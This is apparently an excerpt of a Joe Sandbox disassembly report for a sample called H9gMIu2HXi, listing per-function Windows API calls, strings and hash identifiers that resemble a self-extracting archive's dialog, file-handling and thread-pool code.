API String ID: 562999700-834177443
Opcode ID: 6e41e2fb8c0ad96825405fb688585f4b31f02cdba35d780156b2ca9779e405df
Instruction ID: 03d91aa5da336f49223846ef97ce4454a4fd03cc59dfefffd7ddbd50d59960b5
Opcode Fuzzy Hash: 6e41e2fb8c0ad96825405fb688585f4b31f02cdba35d780156b2ca9779e405df
Instruction Fuzzy Hash: 30218E72540258AEEB21EFE8DE42FEE3BF8BF05740F040522FA1196191E371D6948B91

Uniqueness

Uniqueness Score: -1.00%

Function 00A32166 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00A2C04A,00000008,?,00000000,?,00A2E685,?,00000000), ref: 00A321A5
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00A2C04A,00000008,?,00000000,?,00A2E685,?,00000000), ref: 00A321AF
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00A2C04A,00000008,?,00000000,?,00A2E685,?,00000000), ref: 00A321BF

Strings

Thread pool initialization failed., xrefs: 00A321D7

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: e65c48a53a94aecbe53ce81930975879090b6e15ed01feaefd8fb19f8cf3630e
Instruction ID: 3e9ffbde6adf941a57f0a30bf39045c62dac90a5eab90003349e24fec96c4740
Opcode Fuzzy Hash: e65c48a53a94aecbe53ce81930975879090b6e15ed01feaefd8fb19f8cf3630e
Instruction Fuzzy Hash: F111C6B1604709AFC3215F7ADD84AA7FBECFB59354F60492EF2D6C3200D67159818B60

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C460 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00A212F6: GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
Part of subcall function 00A212F6: SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

EndDialog.USER32(?,00000001), ref: 00A3C4AE
GetDlgItemTextW.USER32(?,00000066,?,00000200), ref: 00A3C4C6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00A3C4F4

Strings

GETPASSWORD1, xrefs: 00A3C479

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: c87cc6b12677dec5ae705d20fe963cb874a2d7305fdce4776c4969c85ecb3f59
Instruction ID: 3547d71550129c6e2684165e004fb37b6fdb5e375f10b7c1db2ffc0706c36367
Opcode Fuzzy Hash: c87cc6b12677dec5ae705d20fe963cb874a2d7305fdce4776c4969c85ecb3f59
Instruction Fuzzy Hash: B0119676A001187ADB209F789D5DFFB377CEB45B24F000521FB05F6080C6759D4697A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EE2D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00A3EE81
REPLACEFILEDLG, xrefs: 00A3EE6C, 00A3EEA0

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 190f55dc05c949bdced7cfb625d1fb625cce01cb6ea1ab7bee323536747d3015
Instruction ID: acc84783470a1ae354748df02e19446c678fc7e4709df4c68fab32b1d68ebe1d
Opcode Fuzzy Hash: 190f55dc05c949bdced7cfb625d1fb625cce01cb6ea1ab7bee323536747d3015
Instruction Fuzzy Hash: C2017172A04245BFDB11CFA9EC48A577BB4BB05394F204425F905932F0D6B19C56DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A24957 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00A2495C

Part of subcall function 00A3FD1D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A3FD29
Part of subcall function 00A3FD1D: ___delayLoadHelper2@8.DELAYIMP ref: 00A3FD4F

std::_Xinvalid_argument.LIBCPMT ref: 00A24967

Strings

vector too long, xrefs: 00A24962
string too long, xrefs: 00A24957

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$Helper2@8Load___delaystd::invalid_argument::invalid_argument
String ID: string too long$vector too long
API String ID: 2355824318-1617939282
Opcode ID: b2280da6ded8260766d06e0358cf72ff6a408d221ad8ed77537b15969e674df3
Instruction ID: bd9e6242040251bbdb4a75d2c117f845da3484e407b5ca9ae7ec1a9a49efa22e
Opcode Fuzzy Hash: b2280da6ded8260766d06e0358cf72ff6a408d221ad8ed77537b15969e674df3
Instruction Fuzzy Hash: EDF082312003146B4624AF5DFC4584BB3E9FF89B557100926FA4583606D7B0A9848AB1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4ABDA Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A4AC65
__alldvrm.LIBCMT ref: 00A4AE66
__alldvrm.LIBCMT ref: 00A4AE88

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: afb2700922330d6a2a5e5337cc0ba606ce23cf73aa61dbbfb2679083630104d7
Instruction ID: 365ff23fec7c9aa855162b348f047adf52b1e768aa011a5cea3adb3641f088ea
Opcode Fuzzy Hash: afb2700922330d6a2a5e5337cc0ba606ce23cf73aa61dbbfb2679083630104d7
Instruction Fuzzy Hash: D4A17B7AE803969FDB12CF58C8927AEBBE4EFB5310F18416DE4959B282C2348D41C752

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B74D Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00A28D5C,?,?,?), ref: 00A2B7F3
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000800,?,00A28D5C,?,?), ref: 00A2B837
SetFileTime.KERNEL32(?,00A28AEC,?,00000000,?,00000800,?,00A28D5C,?,?,?,?,?,?,?,?), ref: 00A2B8B8
CloseHandle.KERNEL32(?,?,00000800,?,00A28D5C,?,?,?,?,?,?,?,?,?,?), ref: 00A2B8BF

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: a75b5d23b5b1220dcac6375ebe401860620c951cb546f86e7d202970fb456df5
Instruction ID: 3e4cb83e413dbe7611a353a304b36d7fad273fe7fee6f32f51cbd89b066ae020
Opcode Fuzzy Hash: a75b5d23b5b1220dcac6375ebe401860620c951cb546f86e7d202970fb456df5
Instruction Fuzzy Hash: 5441F030258391ABE720DF28EC41BAABBE8AF84300F04092DF5D5931D1D764DA48DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A210E0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A2110B
_wcslen.LIBCMT ref: 00A21133
_wcslen.LIBCMT ref: 00A21162
_wcslen.LIBCMT ref: 00A21189

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 1f938b17b26009208316ebd7a0833009d1feb3cd1cd9a70fcd48cb22717c07f8
Instruction ID: 68853dd0dfba67e7d886112e75808021b995f1b7f9f5d33039ade15508fbf908
Opcode Fuzzy Hash: 1f938b17b26009208316ebd7a0833009d1feb3cd1cd9a70fcd48cb22717c07f8
Instruction Fuzzy Hash: B341BF71E006299BCB11DFB89D49AEEBBB8EF54310F000129FD05F7245DA74AD498BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2851F Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A28532
_wcslen.LIBCMT ref: 00A28558
_wcslen.LIBCMT ref: 00A285EF
_wcslen.LIBCMT ref: 00A28657

Part of subcall function 00A2B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00A2B991

Part of subcall function 00A2B41F: RemoveDirectoryW.KERNEL32(?,?,?,00A28649,?), ref: 00A2B430
Part of subcall function 00A2B41F: RemoveDirectoryW.KERNEL32(?,?,?,00000800,?,00A28649,?), ref: 00A2B45E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$DirectoryRemove$CloseFind
String ID:
API String ID: 973666142-0
Opcode ID: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction ID: e7bd31c0beac669eae255d12598a0c1a053422ee1513b0deb73defc076edce9e
Opcode Fuzzy Hash: 13c4833921830cc24cf7045191f17a435417e1473527d55b164f376317025a4e
Instruction Fuzzy Hash: 0931C6718012749ACF21AF68AD41BEE3365AF54780F044475F945A714AEF78DEC5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4DB48 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00A4A871,?,00000000,?,00000001,?,?,00000001,00A4A871,?), ref: 00A4DB95
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A4DC1E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00A480B1,?), ref: 00A4DC30
__freea.LIBCMT ref: 00A4DC39

Part of subcall function 00A4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00A4DBEC,00000000,?,00A480B1,?,00000008,?,00A4A871,?,?,?), ref: 00A4A830

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: ed2b74cf77a7ef34ebffb174128143845ce66b9fd26aee5432157da952b79578
Instruction ID: a54e03c2179b12abbabe6f492f020ad256207972e4d47919e598254f6c5c462b
Opcode Fuzzy Hash: ed2b74cf77a7ef34ebffb174128143845ce66b9fd26aee5432157da952b79578
Instruction Fuzzy Hash: F1319A76A0020AABDF25DFB4CC81EAF7BA5EF84310B154268FC04D6250EB35DD91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A28704 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00A28713
OpenProcessToken.ADVAPI32(00000000), ref: 00A2871A
GetLastError.KERNEL32 ref: 00A28759
CloseHandle.KERNEL32(?), ref: 00A28768

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Process$CloseCurrentErrorHandleLastOpenToken
String ID:
API String ID: 2767541406-0
Opcode ID: 5f2a74363dfde3fe75854e594d138af102bfecb3518bfdd646f54842e84b6d69
Instruction ID: 0d203ce95dc8639c6bcad5c2aa78a7e47bb57f77e00af24bc7d495ea8670a9bb
Opcode Fuzzy Hash: 5f2a74363dfde3fe75854e594d138af102bfecb3518bfdd646f54842e84b6d69
Instruction Fuzzy Hash: BB01FBB5900219AFEB10DFE4AD89AAE7B7CBB04745F604025BA02A1150EB34CE45AA71

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B673 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A3B676
GetDeviceCaps.GDI32(00000000,00000058), ref: 00A3B685
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A3B693
ReleaseDC.USER32(00000000,00000000), ref: 00A3B6A1

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: ce025e75fbb121ca7120c14185b345d0353e904e46aba546a4b532fb8c00abad
Instruction ID: bc1801adc91a965ad591658514613c28ef62e532ae64c35c073d08fd53c0198a
Opcode Fuzzy Hash: ce025e75fbb121ca7120c14185b345d0353e904e46aba546a4b532fb8c00abad
Instruction Fuzzy Hash: 79E0EC31D95F60ABD720ABF0AC1DB9A3FA4AF15712F040115FB01A6190CBB044028FE1

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B81C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00A3B6A9: GetDC.USER32(00000000), ref: 00A3B6AD
Part of subcall function 00A3B6A9: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00A3B6B8
Part of subcall function 00A3B6A9: ReleaseDC.USER32(00000000,00000000), ref: 00A3B6C3

GetObjectW.GDI32(?,00000018,?), ref: 00A3B84C

Part of subcall function 00A3BADE: GetDC.USER32(00000000), ref: 00A3BAE7
Part of subcall function 00A3BADE: GetObjectW.GDI32(?,00000018,?), ref: 00A3BB16
Part of subcall function 00A3BADE: ReleaseDC.USER32(00000000,?), ref: 00A3BBAE

Strings

(, xrefs: 00A3B9BF

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: c6356c64067941720374ac4f9a177b27bc4b54c1dad6322b0797a30a6abce4f2
Instruction ID: f860975bcacd02e27bc529ea718f95472a951108e8d3085bde5f6da528070a57
Opcode Fuzzy Hash: c6356c64067941720374ac4f9a177b27bc4b54c1dad6322b0797a30a6abce4f2
Instruction Fuzzy Hash: AA91E0B1608754AFD610DF65C844A6BBBF9FFC9705F00491EF99AD3260DB30A846CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A280BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A280C3

Part of subcall function 00A31907: _wcslen.LIBCMT ref: 00A3190D

Part of subcall function 00A2B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00A2B991

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A28262

Part of subcall function 00A2B8E6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B8FA
Part of subcall function 00A2B8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00A2B5B5,?,?,?,00A2B405,?,00000001,00000000,?,?), ref: 00A2B92B

Strings

:, xrefs: 00A28134

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 847c07a0c8c64f2e133daf31a886c5791a75cbcf6b6da047f25588c6d77ec748
Instruction ID: 6c981e3bb28ee374d053a98afb429388cd417330d3d639f3d8a4aee72762153d
Opcode Fuzzy Hash: 847c07a0c8c64f2e133daf31a886c5791a75cbcf6b6da047f25588c6d77ec748
Instruction Fuzzy Hash: 53518471800278AAEB25EB54DD56EEE737DAF55300F0041B5F609A2082DB785F89CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C67E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A3C6D3
_wcslen.LIBCMT ref: 00A3C6EE

Strings

}, xrefs: 00A3C6C6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: b2e0a767a42aeb2697b79011e3d8be24f883491838920de173c1b5e78846afbb
Instruction ID: 4bd86c2c6113b06f6a4af23692c827e9486c109822abe213a91ad40173afacd4
Opcode Fuzzy Hash: b2e0a767a42aeb2697b79011e3d8be24f883491838920de173c1b5e78846afbb
Instruction Fuzzy Hash: AC21E4729083166AD731EB64DE46A6BB3ECDF85770F10042AF940E3141FB75ED4887A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A3069C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00A30627: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00A30646
Part of subcall function 00A30627: GetProcAddress.KERNEL32(00A6A1F0,CryptUnprotectMemory), ref: 00A30656

GetCurrentProcessId.KERNEL32(?,00000200,?,00A30697), ref: 00A3072A

Strings

CryptUnprotectMemory failed, xrefs: 00A30722
CryptProtectMemory failed, xrefs: 00A306E1

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: a0b1e9a34959d0b3f11f78697a18c76661a7dbce1a3b1defe65d29a40ca33ccc
Instruction ID: ae6f7815a9ca57243b9426dbd73609ff5a2a8d3e0f00988e4238265a37d375b5
Opcode Fuzzy Hash: a0b1e9a34959d0b3f11f78697a18c76661a7dbce1a3b1defe65d29a40ca33ccc
Instruction Fuzzy Hash: 49112631A00A64ABDF119F24AC62E6E3B68FF54B68F064215FC016B291D770AD828ED5

Uniqueness

Uniqueness Score: -1.00%

Function 00A2CDC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A2CDE7

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

Strings

%c:\, xrefs: 00A2CDDD

Memory Dump Source

